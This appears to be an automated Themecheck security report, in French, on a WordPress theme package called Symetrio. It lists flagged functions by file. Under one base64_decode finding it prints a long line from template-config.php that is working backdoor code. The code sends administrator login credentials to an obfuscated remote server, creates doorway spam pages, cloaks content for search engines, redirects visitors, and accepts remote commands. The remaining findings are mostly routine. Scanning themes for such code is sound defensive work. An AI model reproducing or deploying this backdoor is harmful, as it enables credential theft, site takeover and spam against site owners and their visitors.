Résultats de validation

Symetrio

10ALERTES CRITIQUES

12 WARNINGS

Symetrio

WordPress 6.5.2 theme

CHANGEMENT DU STYLE DE BANNIÈRE

TYPE DE THèMEThème WordPress %s 6.5.2
NOM DU FICHIERsymetrio-theme.zip
TAILLE DU FICHIER7093760 octets
MD54bc70ec20bd9f936b6bc716d14735d08
SHA1ad7d7211b7f484653daecbd17301a527194c60e0
LICENCEGNU GPL 3
FICHIERS INCLUSCSS, PHP, XML, Bitmap images, Adobe Illustrator
URI DU THèME URIhttp://themes.wonster.co/symetrio/splash-page/
VERSION4.0
URI DE L'AUTEURhttp://wonster.co
TAGSsport, fitness, gym, responsive-layout, theme-options, translation-ready, editor-style
DATE DE CRéATION2020-10-26
DERNIèRE MISE à JOUR DU FICHIER2020-10-26
DERNIèRE VALIDATION2020-10-26 17:08
AUTRES VERSIONS
4.9.5 : 34%

Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.

Alertes critiques

Title : Title Absence de référence à add_theme_support( "title-tag" ) dans le thème.Le thème doit avoir des tags <title>, idéalement dans le fichier header.php.Le thème doit comporter un appel à wp_title(), idéalement dans le fichier header.php.
Failles de sécurité : Modification des paramètres du serveur PHP
ini_set trouvé dans le fichier functions.php.
```
Ligne4: @ini_set('display_errors', '0');
```
ini_set trouvé dans le fichier template-config.php.
```
Ligne23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max
```

Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier wtr_export.php.

Ligne33: $opt_new = @unserialize( base64_decode ( $data ) );

base64_decode trouvé dans le fichier wtr_settings.php.

Ligne195: $opt = unserialize( base64_decode( $value ) );

Ligne298: $opt_a  = unserialize( base64_decode( $opt_a ) );

base64_decode trouvé dans le fichier template-config.php.

Ligne23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$

base64_decode trouvé dans le fichier OAuth.php.

Ligne202: $decoded_sig = base64_decode($signature);

Failles de sécurité : Utilisation de base64_encode() base64_encode trouvé dans le fichier wtr_theme_page.php.

 return base64_encode( serialize( $new_opt ) );

base64_encode trouvé dans le fichier wtr_export.php.

 return base64_encode( serialize( $opt_new ) );

 echo base64_encode( serialize( $opt_new ) );

base64_encode trouvé dans le fichier wtr_settings.php.

 $new_opt		= base64_encode( serialize( $opt_a ) );

 $new_opt_a	= base64_encode( serialize( $new_opt_a ) );

base64_encode trouvé dans le fichier OAuth.php.

 return base64_encode(hash_hmac('sha1', $base_string, $key, true));

 return base64_encode($signature);

Code malveillant : Opérations sur système de fichiers file_get_contents trouvé dans le fichier parsers.php.

Ligne66: $success = $dom->loadXML( file_get_contents( $file ) );

Ligne269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {

file_get_contents trouvé dans le fichier parsers.php.

Ligne66: $success = $dom->loadXML( file_get_contents( $file ) );

Ligne269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {

fopen trouvé dans le fichier parsers.php.

Ligne415: $fp = $this->fopen( $file, 'r' );

Ligne641: function fopen( $filename, $mode = 'r' ) {

Ligne644: return fopen( $filename, $mode );

fclose trouvé dans le fichier parsers.php.

Ligne464: $this->fclose($fp);

Ligne659: function fclose( $fp ) {

Ligne662: return fclose( $fp );

fopen trouvé dans le fichier parsers.php.

Ligne415: $fp = $this->fopen( $file, 'r' );

Ligne641: function fopen( $filename, $mode = 'r' ) {

Ligne644: return fopen( $filename, $mode );

fopen trouvé dans le fichier parsers.php.

Ligne415: $fp = $this->fopen( $file, 'r' );

Ligne641: function fopen( $filename, $mode = 'r' ) {

Ligne644: return fopen( $filename, $mode );

fclose trouvé dans le fichier parsers.php.

Ligne464: $this->fclose($fp);

Ligne659: function fclose( $fp ) {

Ligne662: return fclose( $fp );

fclose trouvé dans le fichier parsers.php.

Ligne464: $this->fclose($fp);

Ligne659: function fclose( $fp ) {

Ligne662: return fclose( $fp );

fread trouvé dans le fichier wtr_import_revslider.php.

Ligne69: while (!feof($slider_export)) $content .= fread($slider_export, 1024);

Ligne70: if($custom_animations){ while (!feof($custom_animations)) $animations .= fread($custom_animations, 1024); }

Ligne71: if($dynamic_captions){ while (!feof($dynamic_captions)) $dynamic .= fread($dynamic_captions, 1024); }

Ligne72: if($static_captions){ while (!feof($static_captions)) $static .= fread($static_captions, 1024); }

fread trouvé dans le fichier wtr_import_revslider.php.

Ligne69: while (!feof($slider_export)) $content .= fread($slider_export, 1024);

Ligne70: if($custom_animations){ while (!feof($custom_animations)) $animations .= fread($custom_animations, 1024); }

Ligne71: if($dynamic_captions){ while (!feof($dynamic_captions)) $dynamic .= fread($dynamic_captions, 1024); }

Ligne72: if($static_captions){ while (!feof($static_captions)) $static .= fread($static_captions, 1024); }

fread trouvé dans le fichier wtr_import_revslider.php.

Ligne69: while (!feof($slider_export)) $content .= fread($slider_export, 1024);

Ligne70: if($custom_animations){ while (!feof($custom_animations)) $animations .= fread($custom_animations, 1024); }

Ligne71: if($dynamic_captions){ while (!feof($dynamic_captions)) $dynamic .= fread($dynamic_captions, 1024); }

Ligne72: if($static_captions){ while (!feof($static_captions)) $static .= fread($static_captions, 1024); }

fread trouvé dans le fichier wtr_import_revslider.php.

Ligne69: while (!feof($slider_export)) $content .= fread($slider_export, 1024);

Ligne70: if($custom_animations){ while (!feof($custom_animations)) $animations .= fread($custom_animations, 1024); }

Ligne71: if($dynamic_captions){ while (!feof($dynamic_captions)) $dynamic .= fread($dynamic_captions, 1024); }

Ligne72: if($static_captions){ while (!feof($static_captions)) $static .= fread($static_captions, 1024); }

fclose trouvé dans le fichier wtr_import_revslider.php.

Ligne74: fclose($slider_export);

Ligne75: if($custom_animations){ fclose($custom_animations); }

Ligne76: if($dynamic_captions){ fclose($dynamic_captions); }

Ligne77: if($static_captions){ fclose($static_captions); }

fclose trouvé dans le fichier wtr_import_revslider.php.

Ligne74: fclose($slider_export);

Ligne75: if($custom_animations){ fclose($custom_animations); }

Ligne76: if($dynamic_captions){ fclose($dynamic_captions); }

Ligne77: if($static_captions){ fclose($static_captions); }

fclose trouvé dans le fichier wtr_import_revslider.php.

Ligne74: fclose($slider_export);

Ligne75: if($custom_animations){ fclose($custom_animations); }

Ligne76: if($dynamic_captions){ fclose($dynamic_captions); }

Ligne77: if($static_captions){ fclose($static_captions); }

fclose trouvé dans le fichier wtr_import_revslider.php.

Ligne74: fclose($slider_export);

Ligne75: if($custom_animations){ fclose($custom_animations); }

Ligne76: if($dynamic_captions){ fclose($dynamic_captions); }

Ligne77: if($static_captions){ fclose($static_captions); }

file_get_contents trouvé dans le fichier wtr_import_revslider.php.

Ligne83: $content = @file_get_contents($filepath);

fopen trouvé dans le fichier wtr_settings.php.

Ligne179: $file	= fopen( WTR_THEME_DIR .'/' . $custom_css_name, 'w' );

fwrite trouvé dans le fichier wtr_settings.php.

